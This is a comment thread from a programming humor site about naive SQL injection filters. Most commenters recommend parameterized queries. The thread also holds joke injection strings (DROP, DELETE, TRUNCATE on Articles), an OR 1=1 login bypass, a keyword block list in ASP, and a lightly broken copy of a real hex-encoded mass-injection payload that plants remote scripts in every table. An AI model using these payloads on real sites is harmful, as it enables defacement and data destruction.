• Slvr (unregistered)

    A few basic tips for life:

    • When searching for a job, select the option that fits you best. Never settle for an environment that will leave you wanting more.
    • If you ever receive e-mail advertising free money, delete it immediately!
    • Be sure to update your resume often.
    • If you overhear a conversation going on about you, insert yourself into the conversation. It might be a great opportunity to find out what people really think about you.
    • Nobody controls your life but you. Only you can create your own destiny.
    • When you find yourself settling into a dreadful routine, alter some little part of your day by taking a different route to work or getting something new to eat for lunch. The impact will be huge.
    • Eat fewer carbohydrates. There is nothing more satisfying than watching the pounds drop right off.
    • Keep it simple. Sometimes you'll be tempted to spout off long-winded essays to your friends, but remember, in their heads, your rants truncate at about 30 words.

    For more general living advice, e-mail me at [email protected]

  • PG (unregistered)

    This type of thing pisses me off.

    A few years ago I got put on a quick quick, rush rush project.

    We had picked up 8 weeks of work from new customer. It seems that the customer had some auditors look over their operations close to a year before and in the final report made some mention like "you should look at all your external facing web apps for SQL injections issues." The customer not knowing what it was just let things sit and worked on others issues the audit had found. Now it was close to a year later, the auditors were coming back again, and the CIO didn't want to get any repeat comments. Thus, we got hired to come and fix it all, quickly.

    At the time I hadn't done any real website work, and wasn't sure what SQL injection was, but in about 10 minutes of Google searching I understood the issue very clearly. I was brought on the project mainly for other things that needed to be worked on, not the injection part.

    We started the project on a Thursday and by Monday we need to have an estimate of when we would have everything fixed. I quickly found out the rest of the team knew nothing about injection issues. I kept saying that the right thing was to fix the code, don't build SQL strings, use bind variables, etc. (BTW, some of the apps were in ASP, some the main logic was in COBOL, they talked to Oracle and SQL Server. All of them written by different people/groups)

    One member of the team kept insisting that a vendor made a box that you point all your DB connections to it, and it would protect you from injection issues. OK, I'm sure that a vendor does make such a thing, but from what I could tell it did something just like what we see in this story.

    We had a marathon session that weekend looking for anyplace in the applications were data returned from the user was used to build a SQL string. Yep we found a few, like looking for a username and password for one application. And in that case just tagging an OR 1=1 to end of the statement allowed you to be any user on the system. The coded posted in this story or the 3rd party box would have never stopped that hole.

  • h (unregistered) in reply to Aaron
    Aaron:
    Even though they barely understand how the "hacks" work and their "hacking" experience was limited to typing IP addresses into WinNuke.
    Ahhh good times...
  • mbolton @ initrodeglobal.com (unregistered)

    Gotta love the movie Office Space. Think this bit of code might have kept Michael B. out of trouble? Ha!

  • (cs) in reply to Slvr
    Slvr:
    A few basic tips for life: *snip* For more general living advice, e-mail me at [email protected]
    You forgot one:

    "Don't spam topic-specific web forums with advertising inanity."

  • Gpa Hill (unregistered) in reply to FredSaw
    FredSaw:
    Slvr:
    A few basic tips for life: *snip* For more general living advice, e-mail me at [email protected]
    You forgot one:

    "Don't spam topic-specific web forums with advertising inanity."

    It's always a good day when I don't get rick-rolled and I don't misunderstand someone else's clever and witty post.

    Have a good day, y'all! I'm idiotic-behavior-free as of 2:42 pm, and I can just coast for the rest of the day.

  • Robert S. Robbins (unregistered)

    There was a massive, automated SQL Injection attack recently which affected thousands of sites so I would hope a lot of web developers are busy fixing their web applications. I have inherited a classic ASP web site which is definitely vulnerable so I've been doing a lot of tedious work writing stored procedures and VBScript for parameters.

    The developer community's response has been terrible. I've only seen some vague guidelines for "best practices" without any concrete implementation details. There is a lot of contradictory suggestions and bad advice. For example, some experts claim you only need to use parameterized stored procedures while other experts insist you need to scrub the input too.

    I've seen the SQL code used in the latest SQL Injection attacks and it is very clever. There are only a few SQL keywords used to cast a long string of numbers into the actual query. It is also using table cursors and sysobjects to hit every table without relying on a tedious discovery process. I don't think SQL Injection prevention is as simple as "following best practices". It is easy to get it wrong, nobody tests their work to see if everything is safe, and new exploits are being found.

    Web developers need to do more social networking so there will be peer pressure to think about security. There also needs to be more discussion and collaboration going on. I've seen virtually no programmer blog chatter about the massive SQL Injection attack, just the usual language debates.

  • Castral (unregistered)

    You guys laugh, but apparently haven't seen the PHP IDS project which expands on the original idea in this article.

    http://php-ids.org/

  • mjb (unregistered)

    Jake, are you really that dumb? Are you? I know that's a trolling comment, but .....

    Why do you assume that commented out code EVER went live? Why? Why why why?

    Maybe it was just used as a quick debug tool when the SQL injection detectioncode (which is pretty lame, I'll admit) was being tested. Hmmm?

    My code is littered with commented out system.out.printlns or log.debugs. Most of which eventually get removed entirely, of course, but....

  • jbinaz (unregistered) in reply to BlueKnot
    BlueKnot:
    So that's where Micheal Bolton went after his singing career died...

    Have you not seen "Office Space"?

  • (cs)

    Please tell me this is all a joke and TD WTF already considered eons ago they would be a prime choice for hacking?

  • mbolton (unregistered)

    please check detials given below

  • Mr.'; Drop Database -- (unregistered)

    What if the malicious code is in the post data?

  • ' drop database;-- (unregistered)

    Aww, man! What do you guys have against Little Bobby Tables?

  • Ricky (unregistered)

    '); truncate Articles;

  • (cs) in reply to mjb
    mjb:
    Jake, are you really that dumb? Are you? I know that's a trolling comment, but .....

    Why do you assume that commented out code EVER went live? Why? Why why why?

    Maybe it was just used as a quick debug tool when the SQL injection detectioncode (which is pretty lame, I'll admit) was being tested. Hmmm?

    My code is littered with commented out system.out.printlns or log.debugs. Most of which eventually get removed entirely, of course, but....

    And your point is?

  • Alter Ego (unregistered)

    Why can't I register? I'm just being told I'm trying to Hack Your Site?!

    -Mr Alter Ego

  • FatherStorm (unregistered)

    Uhmm. I do a dump to a flat file on a different box on a page with no DB access. why risk dumping the possibly bad stuff into the DB just to have it do what it was trying to do... and.. wanna check request.form also? and check for cast( to catch the stuff that's hex-encoded..

    
    For Each Item in Request.QueryString
    	if instr(LCASE(Item),"varchar")then injection="True"
    	if instr(LCASE(Item),"nvarchar") then injection="True"
    	if Request.QueryString(Item).Count>=1 then
    		For iCount = 1 to Request.QueryString(Item).Count
    			varcheck=LCASE(Request.QueryString(Item)(iCount))
       			if instr(varcheck,"<script") then injection="True"
       			if instr(varcheck,"xtype") then injection="True"
       			if instr(varcheck,"convert(") then injection="True"
       			if instr(varcheck,"set @") then injection="True"
       			if instr(varcheck,"exec(") then injection="True"
      			if instr(varcheck,"exec (") then injection="True"
       			if instr(varcheck,"declare @") then injection="True"
       			if instr(varcheck,"function") then injection="True"
       			if instr(varcheck,"varchar") then injection="True"
       			if instr(varcheck,"nvarchar") then injection="True"
       			if instr(varcheck,"cast(") then injection="True"
       			if instr(varcheck,"0x") then injection="True"
       			if instr(varcheck,"ipt src") then injection="True"
       			if instr(varcheck,"ipt+src") then injection="True"
    			
    
       			qs=qs&"&"&Item&"="&Request.QueryString(Item)(iCount)
    		Next
    	end if
    Next
    
    For Each Item in Request.Form
    	if instr(LCASE(Item),"varchar")then injection="True"
    	if instr(LCASE(Item),"nvarchar") then injection="True"
    	if Request.Form(Item).Count>=1 then
    		For iCount = 1 to Request.Form(Item).Count
    		varcheck=LCASE(Request.Form(Item)(iCount))
        		if instr(varcheck,"<script") then injection="True"
      			if instr(varcheck,"xtype") then injection="True"
       			if instr(varcheck,"convert(") then injection="True"
       			if instr(varcheck,"function") then injection="True"
       			if instr(varcheck,"varchar") then injection="True"
      			if instr(varcheck,"exec(") then injection="True"
      			if instr(varcheck,"exec (") then injection="True"
      			if instr(varcheck,"set @") then injection="True"
       			if instr(varcheck,"nvarchar") then injection="True"
       			if instr(varcheck,"nvarchar") then injection="True"
       			if instr(varcheck,"cast(") then injection="True"
       			if instr(varcheck,"0x") then injection="True"
       			if instr(varcheck,"ipt src") then injection="True"
       			if instr(varcheck,"ipt+src") then injection="True"
       			qf=qf&"&"&Item&"="&Request.Form(Item)(iCount)
      		Next
       	end if
    Next
    if injection="True" then
    
    	url="http://www.fatherstorm.com/attacklog.php?agent="&Request.ServerVariables("http_user_agent")&"&addr="&Request.ServerVariables("remote_addr")&"&host="&Request.ServerVariables("remote_host")&"&server="&Request.ServerVariables("server_name")&qs&qf
    	response.redirect(url)
    	response.end
    end if
    </pre>
    
  • (cs)

    ') exec sp_hack_tdwtf --

  • Brendan (unregistered)

    what ever happened too doing this for each.

    mysql_real_escape_string($Data);
    mysql_query("SELECT Name FROM NoOneIsGoingToKonwThisNameOfThisTable WHERE Name = '$Data'");
    

    it's as easy as that.

  • (cs) in reply to ClaudeSuck.de
    ClaudeSuck.de:
    "select%20|delete%20|update%20|insert%20|create%20|alter%20|drop%20|truncate%20|sp_"

    I wonder how this can help. Or, what would happen to the following post?

    "For last year'selection I created a new slogan which altered the way we look at things. Many people inserted and dropped their votes in the containers. Before we can delete them we have to update the results..."

    I think your post got truncated.
    Anonymous:
    Geesh you tools. Forgetting semicolons much?

    '); DELETE FROM Articles; --

    Indeed.

  • Complete Looney (unregistered) in reply to tragomaskhalos

    "Some one (sic) is trying to Hack the Site, conveniently using lowercase SQL" ... and no tab characters for whitespace

  • Jay (unregistered)

    Snide remarks aside, a serious question:

    I've seen some elaborate code to fight SQL injection, code that checks for SQL keywords like the example here, sometimes just as full of holes, sometimes quite solid.

    But ... maybe I'm missing something here. In my programs, I always write one short function that takes a character string, doubles any embedded quotes and escapes any other magic characters the database engine may allow, (which I think in standard SQL would be none, but that doesn't stop manufacturers from including "extensions"), and then puts quotes around the whole thing and returns it. I generally make this a static function named "q" for quote in a class named Db, so if I want to build a SQL statement from user input I end up writing something like

    String sql="select something,something_else"
    +" from mytable"
    +" where field1="+Db.q(field1Input)
    +" and field2="+Db.q(field2Input);
    

    It seems to me this simple function would block any attempt at SQL injection. As I say, am I missing something? This doesn't seem like that hard a problem, I don't understand why people write pages of code to solve it.

  • Slvr (unregistered) in reply to Jay
    Jay:
    As I say, am I missing something? This doesn't seem like that hard a problem, I don't understand why people write pages of code to solve it.
    You're right, it isn't a hard problem at all. That's why it's hilarious to watch people going through those "hard times" of learning basic programming without the "surely there's a better way" mentality, while at the same time depressing to realize they're struggling through those times at some company's expense.

    Proper quoting/encoding of text before it becomes part of a query solves the problem in a lot simpler way than this whole "guess every possible injection keyword" thing. Even if you did sanitize your queries to the point that they would be free of any possible evils, your script would still flop over and die the first time it hit an apostrophe in the submitted text. After any real time spent working on these things, that should become pretty obvious, but if we could count on obvious things being obvious to everyone, we wouldn't have this site.

    Almost all of today's frameworks have the query string quoting/encoding mechanism built into their DB abstraction layers, and for a good reason. When you find yourself writing something that long, but thinking, "wait a second, hasn't everyone who has ever had to insert user form data into a database had to do this too?", odds are high that someone made a 4-character solution to your problems.

  • Ricky (unregistered)

    how about using PREPAREd statements? too demodé?

  • (cs) in reply to Jay
    Jay:
    As I say, am I missing something?
    You're missing the fact that you shouldn't be putting data from untrusted sources in SQL strings at all. Even MySQL supports doing stuff correctly these days (i.e. with parameterized SQL statements) and that's a solution that is both systematically correct and invulnerable to SQL injection. (While you're at it, don't forget to use a proper HTML generator when producing the output – assuming you're going to the web – so that the arbitrary strings you extract from the database can't cause XSS trouble. OTOH, it's much easier to get HTML quoting correct; there's only three characters that need magic applied.)
  • (cs) in reply to Jay
    Jay:
    As I say, am I missing something? This doesn't seem like that hard a problem, I don't understand why people write pages of code to solve it.

    Someone here once said that preventing SQL injection attacks is about as difficult as sitting on a couch.

    That said, most languages/frameworks/platforms/etc. these days have a much better means of doing this (either built-in, or through a third-party library) so that you don't have to sanitize the SQL manually as you're doing.

  • PG (unregistered) in reply to Ricky
    Ricky:
    how about using PREPAREd statements? too demodé?

    Ding, Ding, Ding. We have a winner!!!!!!!

    To the two other posters that wanted to do all kinds of string escaping stuff, and anyone else thinking about problem.....

    Just don't use the user input to build a SQL string. Period.

    Let me repeat that in case you missed it.

    Don't use the user input to build a SQL string.

  • kb (unregistered) in reply to Ricky
    Ricky:
    how about using PREPAREd statements? too demodé?

    +1 for prepared statements.

    And prepared statements that don't use string concatenation to build the statement before 'preparing' it rather than passing a parameter ;)

  • Jay (unregistered) in reply to Ricky
    Ricky:
    how about using PREPAREd statements? too demodé?

    Prepared statements are fine if the structure of the query is fixed and the only thing that can change is the values. Yes, the example I gave was a simple one like that where a prepared statement would solve the problem. If I'd anticipated that objection I would have used a different example. Like:

    Haven't you ever had a case where you wanted to build a SQL statement with many possible contructions? I routinely write code where the user can specify one or more of many constraints on some sort of "find records meeting condition" screen, so after collecting all the parameters I write something like:

    StringBuilder sql=new StringBuilder();
    sql.append("select ... whatever ... from customer_order");
    sql.append(" where division=").append(Db.q(division));
    if (account!=null)
      sql.append(" and account=").append(Db.q(account));
    if (fromDate!=null)
      sql.append(" and from_date>=").append(Db.q(fromDate));
    if (thruDate!=null)
      sql.append(" and thru_date<=").append(Db.q(thruDate));
    if (deliveryMethod.equals("U"))
      sql.append(" and (delivery=true or status='H')");
    ... etc ...
    
  • Jay (unregistered) in reply to dkf
    dkf:
    (While you're at it, don't forget to use a proper HTML generator when producing the output – assuming you're going to the web – so that the arbitrary strings you extract from the database can't cause XSS trouble. OTOH, it's much easier to get HTML quoting correct; there's only three characters that need magic applied.)

    Yes, one of the other silly ideas I've had is that you should write one function that properly escapes ampersands, less thans and quotes for HTML, and then wrap it around all HTML output that includes any text that you are not 100% sure is safe. (And I think "100% safe" means "hard-coded in this module".)

    I am presently working on a project where this radical idea never seems to have occurred to the original programmers. They have separate HTML-escape functions all over the place. Some of them escape only ampersands, some escape only less-thans, etc. I think they just threw them in whenever they noticed a problem, and so put in the escape for the one problem character that actually turned up in the data. Indeed what really drives me up a wall is that the function they seem to use most often replaces "&", not with something crazy like, say, "&", but with the word " and ". And it replaces the single quote ("'") with a back quote ("`"). Apparently the programmer was not completely ignorant of HTML escapes because he does convert "<" to "<". I'm left wondering if he didn't know the escapes for the others and the idea of looking them up was just too much work, or what? The idea that someone developing a web application might know how to use the web to research web specifications is a stretch, I realize.

  • Jay (unregistered) in reply to kb

    [quote user="kb]And prepared statements that don't use string concatenation to build the statement before 'preparing' it rather than passing a parameter ;)[/quote]

    Actually in mySQL that's exactly what they do.

    I was looking at the source of mySQL once, and -- maybe it's different on newer versions, but at that time anyway, the way they implemented prepared statements was to store the statement as a string, and when you set values, they took the string apart, inserted the value, and put it back together, using standard Java StringBuffer.

  • adadfa (unregistered)

    ') DELETE FROM Articles WHERE Author_Name <> 'Jake Vinson' --"

  • gnolm (unregistered) in reply to tragomaskhalos

    "InStr" is case insensitive by default

  • (cs) in reply to Rory Fitzpatrick
    Rory Fitzpatrick:
    Its a wonder they didn't just dump strContents into the database instead of an email...
    You mean, like adding an entry to the database about user XX performed a 'DROP TABLE Logs' or ' DROP DATABASE' on July 24th, 12:30 PM, just one pico-second before the log table, or database was deleted.. ? ;)
  • Merl (unregistered) in reply to Another Kevin
    Another Kevin:
    so that's why my friend Bruce Waldrop couldn't use the site. Any why Judy O'Leary got a SQL error when she tried.

    Thanks for the tip!

    • Walter O'Toole
  • immibis (unregistered)

    ') DELETE FROM Articles WHERE Author_Name <> 'Jake Vinson' --

  • FatherStorm (unregistered)

    the best way is still to check for anything suspicious once for the entire site at the very top, that way you don't miss anything on a weird page you forgot about, and you can adapt to new methods. ESPECIALLY if you're a PHP guy stuck coding classic ASP. and.. if someone wants to find the escapable quote in:

    D.E.C.L.A.R.E. @S V.A.R.C.H.A.R.(4000);S.E.T. @S=C.A.S.T.(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220

    (periods added to break it from doing anythong bad...)

  • Tudo (unregistered) in reply to Rory Fitzpatrick
    Rory Fitzpatrick:
    Its a wonder they didn't just dump strContents into the database instead of an email...
    Well, i was expecting them to print it on the screen and asking the user (supposed cracker) to email that to the staff...
  • Jeltz (unregistered) in reply to Aaron
    Aaron:
    This attitude seems to bite a lot of developers who are learning about security vulnerabilities for the first time. Since a lot of them consider themselves ex-h4x0rZ turned legit, they get a charge out of trying to "nail" the "hackers". Even though they barely understand how the "hacks" work and their "hacking" experience was limited to typing IP addresses into WinNuke.

    Probably, when I myself was this young and naïve I didn't commit any this horrible sins. My h4x0r skills consited of manually escaping ' and \ with regexes with isn't a too bad solution. But still I recognzie the naïve and faulty logic that caused this code to be written.

  • notme (unregistered)

    "Some one" is trying to hack the site?

    As opposed to "some zero"?

  • (cs)

    So commented out debug code is a WTF?

    I submitted a story where SQL statements where EMAILED

    How is this a better wtf than emailed SQL statements?

  • (cs) in reply to yogabbagabba
    yogabbagabba:
    So commented out debug code is a WTF?

    I submitted a story where SQL statements where EMAILED

    How is this a better wtf than emailed SQL statements?

    I feel your pain.

    Without context, why would anybody care whether SQL statements are EMAILED or not? Good Lord, I think I may have done that myself, once or twice, when sending my employers a dump of the current state of a mysql database.

    I might even have done it in an attempt to get them to write the goddamn SQL right in the first place.

    You missed the basic WTF, btw, but that's OK.

    Plz email teh humorous SLQ codez.

  • matthew (unregistered) in reply to Jay
    Jay:
    Haven't you ever had a case where you wanted to build a SQL statement with many possible contructions? I routinely write code where the user can specify one or more of many constraints on some sort of "find records meeting condition" screen, so after collecting all the parameters I write something like:
    StringBuilder sql=new StringBuilder();
    sql.append("select ... whatever ... from customer_order");
    sql.append(" where division=").append(Db.q(division));
    if (account!=null)
      sql.append(" and account=").append(Db.q(account));
    if (fromDate!=null)
      sql.append(" and from_date>=").append(Db.q(fromDate));
    if (thruDate!=null)
      sql.append(" and thru_date<=").append(Db.q(thruDate));
    if (deliveryMethod.equals("U"))
      sql.append(" and (delivery=true or status='H')");
    ... etc ...
    
    Ahem.
    select ... from customer_order
    where 
      division = :1 and
      (:2 = 0 or account = :2) and
      (:3 = '' or from_date = :3::date) and ...
    
  • AdT (unregistered) in reply to NaN
    NaN:
    It wouldn't for all of them, the %20 is a space, the ones you did not include a space afterwards (all the ones you put inside of words, selection, created...) would not show up. Delete and Update WOULD have shown up, but you made them BOLD, so, your post would NOT have triggered it, despite all the SQL Keywords you used.

    Trippy.

    I, for one, would like to thank Alex, Jake and all the submitters for constantly providing us with select failure stories such as this. This site really has the potential to alter the lives of professional developers, from the senior to the recent college drop out. And rarely is it appreciated just how much work it is to create content, insert those nice photos, truncate excessively long articles and delete spam comments. (Detials to follow.)

  • A.Hacker (unregistered) in reply to Aaron
    Aaron:
    This attitude seems to bite a lot of developers who are learning about security vulnerabilities for the first time. Since a lot of them consider themselves ex-idiots turned legit, they get a charge out of trying to "nail" the "crackers". Even though they barely understand how the "cracks" work and their "cracking" experience was limited to typing IP addresses into WinNuke.
    Fixed but this just leaves the title "Some one is trying to Crack the site" Done :)
  • (cs) in reply to AdT
    AdT:
    NaN:
    It wouldn't for all of them, the %20 is a space, the ones you did not include a space afterwards (all the ones you put inside of words, selection, created...) would not show up. Delete and Update WOULD have shown up, but you made them BOLD, so, your post would NOT have triggered it, despite all the SQL Keywords you used.

    Trippy.

    I, for one, would like to thank Alex, Jake and all the submitters for constantly providing us with select failure stories such as this. This site really has the potential to alter the lives of professional developers, from the senior to the recent college drop out. And rarely is it appreciated just how much work it is to create content, insert those nice photos, truncate excessively long articles and delete spam comments. (Detials to follow.)

    I still need somebody to explain to me how "%20" could possibly be a space.

    I mean, isn't a space represented as ' '? Even in Javascript?

  • Kevin Triplett (unregistered)

    In what language is this written? Usually,

    if InjectionFound = false then

    would simply overwrite InjectionFound with the value false and merrily accept any injection attack. :) (Most languages use "==" to test for equality.)

    I've recently gained an appreciation for code that looks like this:

    if false = InjectionFound then

    so that the parser/compiler will fail since the constant false cannot be modified.

    Also, I suspect the commented out Response statements are just debugging that was left in, in case debugging in the future was called for.

  • Kevin Triplett (unregistered) in reply to Kevin Triplett

    Whoops -- I should have said "meerily report everything as an injection attack" -- so I guess the language being used does not use double-equals for equality test (he said, removing egg from face).

  • (cs) in reply to Kevin Triplett
    Kevin Triplett:
    In what language is this written? Usually,

    if InjectionFound = false then

    would simply overwrite InjectionFound with the value false and merrily accept any injection attack. :) (Most languages use "==" to test for equality.)

    I've recently gained an appreciation for code that looks like this:

    if false = InjectionFound then

    so that the parser/compiler will fail since the constant false cannot be modified.

    Also, I suspect the commented out Response statements are just debugging that was left in, in case debugging in the future was called for.

    Be gentle with this one, chaps.

Leave a comment on “Some one is trying to Hack the Site”

Log In or post as a guest

Replying to comment #:

« Return to Article